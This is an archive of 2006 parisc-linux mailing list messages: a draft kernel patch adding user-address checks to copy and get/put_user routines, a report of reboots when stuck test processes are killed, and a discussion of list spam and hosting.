List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QjLKAvw4a2A7W7vDOHQyBisyOWhhagdr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24142

On Tuesday 12 December 2006 02:14, Kyle McMartin wrote:
> On Mon, Dec 11, 2006 at 11:38:13PM +0100, Helge Deller wrote:
> > Maybe someone has an idea ?
> > 
> > The "adjtimex02" test from the Linux Test Project (http://ltp.sf.net) seems to pass all test, but triggers a kernel BUG in mm/mmap.c:1990 when exiting.
> > strace is attached below.
> 
> iirc this only bites on 32bit kernels.
> 
> This is what Jeff is referring to:
> /*
>  * Testcase reduced from ltp, adjtimex02
>  *
>  * 1) adjtimex(2) fails with errno set to EFAULT if buf does
>  *	   not point to writable memory
>  */
> [...]

The following patch is a first draft which fixes the LTP crashes. It still includes debugging info...
I assume the main problem is, that get_user() and put_user() does not do any memory region checking at all.
I think this is wrong (although the fault handler may have catched most of the wrong ones).

I know my implementation of the function access_ok() is wrong.
I tried and looked at the other arch implementations, but I didn't found an easy one. But I'm sure there is one, and hopefully someone here can point me to a better/correct implementation...?

Comments ?

Helge

diff --git a/arch/parisc/lib/memcpy.c b/arch/parisc/lib/memcpy.c
index 5575e41..cd8b657 100644
--- a/arch/parisc/lib/memcpy.c
+++ b/arch/parisc/lib/memcpy.c
@@ -488,20 +488,30 @@ handle_store_error:
 #ifdef __KERNEL__
 unsigned long copy_to_user(void __user *dst, const void *src, unsigned long len)
 {
-	mtsp(get_kernel_space(), 1);
-	mtsp(get_user_space(), 2);
-	return pa_memcpy((void __force *)dst, src, len);
+	BUG_ON((long) len < 0);
+	if (access_ok(VERIFY_WRITE, dst, len)) {
+		mtsp(get_kernel_space(), 1);
+		mtsp(get_user_space(), 2);
+		len = pa_memcpy((void __force *)dst, src, len);
+	};
+	return len;
 }
 
 unsigned long copy_from_user(void *dst, const void __user *src, unsigned long len)
 {
-	mtsp(get_user_space(), 1);
-	mtsp(get_kernel_space(), 2);
-	return pa_memcpy(dst, (void __force *)src, len);
+	BUG_ON((long) len < 0);
+	if (access_ok(VERIFY_READ, src, len)) {
+		mtsp(get_user_space(), 1);
+		mtsp(get_kernel_space(), 2);
+		len = pa_memcpy(dst, (void __force *)src, len);
+	} else
+		memset(dst, 0, len);
+	return len;
 }
 
 unsigned long copy_in_user(void __user *dst, const void __user *src, unsigned long len)
 {
+	BUG_ON((long) len < 0);
 	mtsp(get_user_space(), 1);
 	mtsp(get_user_space(), 2);
 	return pa_memcpy((void __force *)dst, (void __force *)src, len);
diff --git a/include/asm-parisc/uaccess.h b/include/asm-parisc/uaccess.h
index d973e8b..b265d2b 100644
--- a/include/asm-parisc/uaccess.h
+++ b/include/asm-parisc/uaccess.h
@@ -8,6 +8,7 @@
 #include <asm/page.h>
 #include <asm/system.h>
 #include <asm/cache.h>
+#include <asm/io.h>
 #include <asm-generic/uaccess.h>
 
 #define VERIFY_READ 0
@@ -37,23 +38,30 @@ extern int __put_user_bad(void);
 static inline long access_ok(int type, const void __user * addr,
 		unsigned long size)
 {
-	return 1;
+	unsigned long a = (unsigned long __force) addr;
+	long ok;
+	ok = (a < F_EXTEND(0xfff00000));
+	if (unlikely(!ok)) {
+		printk(KERN_ERR "%s: addr=%p len=%lx \n", __FUNCTION__, addr, size);
+		show_stack(NULL,NULL);
+	}
+	return (ok);
 }
 
-#define put_user __put_user
-#define get_user __get_user
 
-#if BITS_PER_LONG == 32
+#if !defined(__LP64__)
 #define LDD_KERNEL(ptr)		__get_kernel_bad();
 #define LDD_USER(ptr)		__get_user_bad();
 #define STD_KERNEL(x, ptr)	__put_kernel_asm64(x,ptr)
 #define STD_USER(x, ptr)	__put_user_asm64(x,ptr)
+#define WORD_DWORD		" .word "
 #else
-#define LDD_KERNEL(ptr) __get_kernel_asm("ldd",ptr)
-#define LDD_USER(ptr) __get_user_asm("ldd",ptr)
-#define STD_KERNEL(x, ptr) __put_kernel_asm("std",x,ptr)
-#define STD_USER(x, ptr) __put_user_asm("std",x,ptr)
-#endif
+#define LDD_KERNEL(ptr)		__get_kernel_asm("ldd",ptr)
+#define LDD_USER(ptr)		__get_user_asm("ldd",ptr)
+#define STD_KERNEL(x, ptr)	__put_kernel_asm("std",x,ptr)
+#define STD_USER(x, ptr)	__put_user_asm("std",x,ptr)
+#define WORD_DWORD		" .dword "
+#endif /* !__LP64__ */
 
 /*
  * The exception table contains two values: the first is an address
@@ -104,11 +112,10 @@ struct exception_data {
 	__gu_err;                                       \
 })
 
-#ifdef __LP64__
 #define __get_kernel_asm(ldx,ptr)                       \
 	__asm__("\n1:\t" ldx "\t0(%2),%0\n"             \
 		"\t.section __ex_table,\"aw\"\n"        \
-		"\t.dword\t1b,fixup_get_user_skip_1\n"	\
+		"\t" WORD_DWORD "\t1b,fixup_get_user_skip_1\n"	\
 		"\t.previous"                          	\
 		: "=r"(__gu_val), "=r"(__gu_err)        \
 		: "r"(ptr), "1"(__gu_err)		\
@@ -117,30 +124,12 @@ struct exception_data {
 #define __get_user_asm(ldx,ptr)                         \
 	__asm__("\n1:\t" ldx "\t0(%%sr3,%2),%0\n"       \
 		"\t.section __ex_table,\"aw\"\n"	\
-		"\t.dword\t1b,fixup_get_user_skip_1\n"	\
+		"\t" WORD_DWORD "\t1b,fixup_get_user_skip_1\n"	\
 		"\t.previous"				\
 		: "=r"(__gu_val), "=r"(__gu_err)        \
 		: "r"(ptr), "1"(__gu_err)		\
 		: "r1");
-#else
-#define __get_kernel_asm(ldx,ptr)                       \
-	__asm__("\n1:\t" ldx "\t0(%2),%0\n"             \
-		"\t.section __ex_table,\"aw\"\n"        \
-		"\t.word\t1b,fixup_get_user_skip_1\n"	\
-		"\t.previous"                          	\
-		: "=r"(__gu_val), "=r"(__gu_err)        \
-		: "r"(ptr), "1"(__gu_err)		\
-		: "r1");
 
-#define __get_user_asm(ldx,ptr)                         \
-	__asm__("\n1:\t" ldx "\t0(%%sr3,%2),%0\n"       \
-		"\t.section __ex_table,\"aw\"\n"	\
-		 "\t.word\t1b,fixup_get_user_skip_1\n"	\
-		 "\t.previous"                          \
-		: "=r"(__gu_val), "=r"(__gu_err)        \
-		: "r"(ptr), "1"(__gu_err)		\
-		: "r1");
-#endif /* !__LP64__ */
 
 #define __put_user(x,ptr)                                       \
 ({								\
@@ -179,12 +168,11 @@ struct exception_data {
  * r8/r9 are already listed as err/val.
  */
 
-#ifdef __LP64__
 #define __put_kernel_asm(stx,x,ptr)                         \
 	__asm__ __volatile__ (                              \
 		"\n1:\t" stx "\t%2,0(%1)\n"                 \
 		"\t.section __ex_table,\"aw\"\n"            \
-		"\t.dword\t1b,fixup_put_user_skip_1\n"	    \
+		"\t" WORD_DWORD "\t1b,fixup_put_user_skip_1\n"	    \
 		"\t.previous"                               \
 		: "=r"(__pu_err)                            \
 		: "r"(ptr), "r"(x), "0"(__pu_err)	    \
@@ -194,36 +182,18 @@ struct exception_data {
 	__asm__ __volatile__ (                              \
 		"\n1:\t" stx "\t%2,0(%%sr3,%1)\n"           \
 		"\t.section __ex_table,\"aw\"\n"            \
-		 "\t.dword\t1b,fixup_put_user_skip_1\n"	    \
-		 "\t.previous"                              \
-		: "=r"(__pu_err)                            \
-		: "r"(ptr), "r"(x), "0"(__pu_err)	    \
-		: "r1")
-#else
-#define __put_kernel_asm(stx,x,ptr)                         \
-	__asm__ __volatile__ (                              \
-		"\n1:\t" stx "\t%2,0(%1)\n"                 \
-		"\t.section __ex_table,\"aw\"\n"            \
-		 "\t.word\t1b,fixup_put_user_skip_1\n"	    \
+		 "\t" WORD_DWORD "\t1b,fixup_put_user_skip_1\n"	    \
 		 "\t.previous"                              \
 		: "=r"(__pu_err)                            \
 		: "r"(ptr), "r"(x), "0"(__pu_err)	    \
 		: "r1")
 
-#define __put_user_asm(stx,x,ptr)                           \
-	__asm__ __volatile__ (                              \
-		"\n1:\t" stx "\t%2,0(%%sr3,%1)\n"           \
-		"\t.section __ex_table,\"aw\"\n"            \
-		 "\t.word\t1b,fixup_put_user_skip_1\n"      \
-		 "\t.previous"                              \
-		: "=r"(__pu_err)                            \
-		: "r"(ptr), "r"(x), "0"(__pu_err)	    \
-		: "r1")
+#if !defined(__LP64__)
 
-#define __put_kernel_asm64(__val,ptr) do {		    	    \
-	u64 __val64 = (u64)(__val);				    \
-	u32 hi = (__val64) >> 32;					    \
-	u32 lo = (__val64) & 0xffffffff;				    \
+#define __put_kernel_asm64(__val,ptr) do {	    	    \
+	u64 __val64 = (u64)(__val);			    \
+	u32 hi = (__val64) >> 32;			    \
+	u32 lo = (__val64) & 0xffffffff;		    \
 	__asm__ __volatile__ (				    \
 		"\n1:\tstw %2,0(%1)\n"			    \
 		"\n2:\tstw %3,4(%1)\n"			    \
@@ -255,6 +225,26 @@ struct exception_data {
 #endif /* !__LP64__ */
 
 
+/* Uh, these should become the main single-value transfer routines..
+ * They automatically use the right size if we just have the right
+ * pointer type..
+ *
+ * This gets kind of ugly. We want to return _two_ values in "get_user()"
+ * and yet we don't want to do any pointers, because that is too much
+ * of a performance impact. Thus we have a few rather ugly macros here,
+ * and hide all the ugliness from the user.
+ */
+#define put_user(x,ptr) ({				\
+	__chk_user_ptr(ptr);				\
+	likely(access_ok(0,ptr,sizeof(*(ptr)))) ?	\
+	__put_user(x,ptr) : -EFAULT; })
+
+#define get_user(x,ptr) ({				\
+	__chk_user_ptr(ptr);				\
+	likely(access_ok(0,ptr,sizeof(*(ptr)))) ?	\
+	__get_user(x,ptr) : ({ x=0; -EFAULT;});  })
+
+
 /*
  * Complex access routines -- external declarations
  */
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] killing a set of user processes causes system reboot
Date: Wed, 13 Dec 2006 17:15:43 -0500 (EST)
Lines: 34
Approved: news@gmane.org
Message-ID: <200612132215.kBDMFi63004518__7566.30736073038$1416624231$gmane$org@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624231 21771 80.91.229.3 (22 Nov 2014 02:43:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Dec 2006 23:02:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx084) with SMTP; 14 Dec 2006 00:02:49 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 21CFC7DA0B;
	Wed, 13 Dec 2006 16:02:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14206-03; Wed, 13 Dec 2006 16:02:41 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DA9237DA12;
	Wed, 13 Dec 2006 16:02:37 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DFC517D9F2
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Dec 2006 15:15:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13759-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Dec 2006 15:15:46 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 5CF2C7D9F0
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Dec 2006 15:15:46 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id kBDMFiGA004521
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Dec 2006 17:15:45 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id kBDMFi63004518
	for parisc-linux@lists.parisc-linux.org;
	Wed, 13 Dec 2006 17:15:44 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Wed, 13 Dec 2006 16:02:35 -0700
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rb61cfkVRkkeaauPfGRqrjNmdWkvKJNO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24143

After a GCC build and check, I sometimes see some sleeping processes
that didn't terminate:

dave@hiauly6:~/gnu/gcc-4.2/objdir$ ps -ef|grep dave
dave      2496     1  0 12:04 ?        00:00:00 /home/dave/gnu/gcc-4.2/objdir/hppa-linux/libjava/testsuite/Process_3.exe
dave      2497     1  0 12:04 ?        00:00:00 /home/dave/gnu/gcc-4.2/objdir/hppa-linux/libjava/testsuite/Process_3.exe
dave      2498     1 39 12:04 ?        01:59:20 /home/dave/gnu/gcc-4.2/objdir/hppa-linux/libjava/testsuite/Process_3.exe
dave      2873     1  0 12:09 ?        00:00:00 /home/dave/gnu/gcc-4.2/objdir/hppa-linux/libjava/testsuite/Process_3.exe
dave      2874     1  0 12:09 ?        00:00:00 /home/dave/gnu/gcc-4.2/objdir/hppa-linux/libjava/testsuite/Process_3.exe
dave      2875     1 39 12:09 ?        01:56:30 /home/dave/gnu/gcc-4.2/objdir/hppa-linux/libjava/testsuite/Process_3.exe

If I kill them, the system reboots with no messages as to why:

root@hiauly6:/home/dave/gnu/gcc-4.2/objdir# kill -9 2496 2497 2498 2873 2874 2875

I had strace attached to one of the processes but it gave no info:
root@hiauly6:/home/dave# strace -p 2875
Process 2875 attached - interrupt to quit

I've seen this with 32-bit c3k kernel versions 2.6.18-rc7-pa1
and 2.6.19-g211c7899-dirty.

Thoughts?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Anonymous posting?
Date: Thu, 14 Dec 2006 09:22:36 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <200612140922.36185.deller__10289.933140348$1416624231$gmane$org@gmx.de>
References: <45805DC3.9040309@excelcia.org>
	<200612132048.kBDKmxgL021779@hiauly1.hia.nrc.ca>
	<20061214065213.GB8325@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624231 21775 80.91.229.3 (22 Nov 2014 02:43:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Dec 2006 08:22:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 14 Dec 2006 09:22:51 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C5407D9F1;
	Thu, 14 Dec 2006 01:22:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17674-07; Thu, 14 Dec 2006 01:22:47 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 387947DA09;
	Thu, 14 Dec 2006 01:22:46 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 012E07D9EE
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Dec 2006 01:22:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17674-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Dec 2006 01:22:40 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 18AA27D9E9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Dec 2006 01:22:39 -0700 (MST)
Original-Received: (qmail invoked by alias); 14 Dec 2006 08:22:38 -0000
Original-Received: from mnhm-590c0b91.pool.einsundeins.de (EHLO p100.box) [89.12.11.145]
	by mail.gmx.net (mp028) with SMTP; 14 Dec 2006 09:22:38 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
In-Reply-To: <20061214065213.GB8325@colo.lackof.org>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6junbZv4Li5nE/fRZWtpledjZml1ZBhX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24144

On Thursday 14 December 2006 07:52, Grant Grundler wrote:
> On Wed, Dec 13, 2006 at 03:48:58PM -0500, John David Anglin wrote:
> > I agree.  As one who receives a lot of spam, I know the amount
> > of spam will grow and overwhelm the content if the list is left
> > open without antivirus and spam protection.  This may cause
> > spam filters to reject all messages from the list.
> 
> Any objection to moving the list to a different service
> that can provide spam protection and host the list?
> 
> I've created parisc-linux on google (just to reserve the name)
> but want some more comments on the basic premise that we should
> migrate the service first.

I second any step which reduces the spam.
Of course I would prefer keeping our own list server (with spam filtering) on parisc-linux.org, but if you think it's less work to host it on some other service I'll fine with that as well.

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Anonymous posting?
Date: Thu, 14 Dec 2006 07:30:24 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <20061214123024.GB5657__3940.33077541298$1416624232$gmane$org@athena.road.mcmartin.ca>
References: <45805DC3.9040309@excelcia.org> <200612132048.kBDKmxgL021779@hiauly1.hia.nrc.ca> <20061214065213.GB8325@colo.lackof.org> <200612140922.36185.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624232 21777 80.91.229.3 (22 Nov 2014 02:43:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@athena.road.mcmartin.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Dec 2006 12:30:28 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx095) with SMTP; 14 Dec 2006 13:30:28 +0100
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 96B825840A8;
	Thu, 14 Dec 2006 07:30:25 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 226EC5840A7;
	Thu, 14 Dec 2006 07:30:25 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca [206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca", Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id B6BA4837DC;
	Thu, 14 Dec 2006 07:30:24 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id EE4483B06E; Thu, 14 Dec 2006 07:30:24 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <200612140922.36185.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3HSycfAtf2I/GoicY2xoZcFwdWxlcxb5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24145

On Thu, Dec 14, 2006 at 09:22:36AM +0100, Helge Deller wrote:
> 
> I second any step which reduces the spam.
> Of course I would prefer keeping our own list server (with spam filtering) on parisc-linux.org, but if you think it's less work to host it on some other service I'll fine with that as well.
> 

The problem is, it's *not* hosted on parisc-linux.org (aka palinux.)
lists.parisc-linux.org is hosted on free.linux.hp.com which is a hp only
machine... So me (the list admin) can do practically nothing to fix the spam
problem.

Cheers,
	Kyle



From - Thu Nov 08 21:35:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] killing a set of user processes causes system
Date: Thu, 14 Dec 2006 14:14:28 -0500 (EST)
Lines: 55
Approved: news@gmane.org
Message-ID: <200612141914.kBEJETU6021023__9832.32013318247$1416624232$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440612140929i3f5ea59dvb002b6fa525978ff@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624232 21780 80.91.229.3 (22 Nov 2014 02:43:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Dec 2006 19:14:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 14 Dec 2006 20:14:45 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A262D7D990;
	Thu, 14 Dec 2006 12:14:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26068-01; Thu, 14 Dec 2006 12:14:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6A1F67DA16;
	Thu, 14 Dec 2006 12:14:37 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 477207D989
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Dec 2006 12:14:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
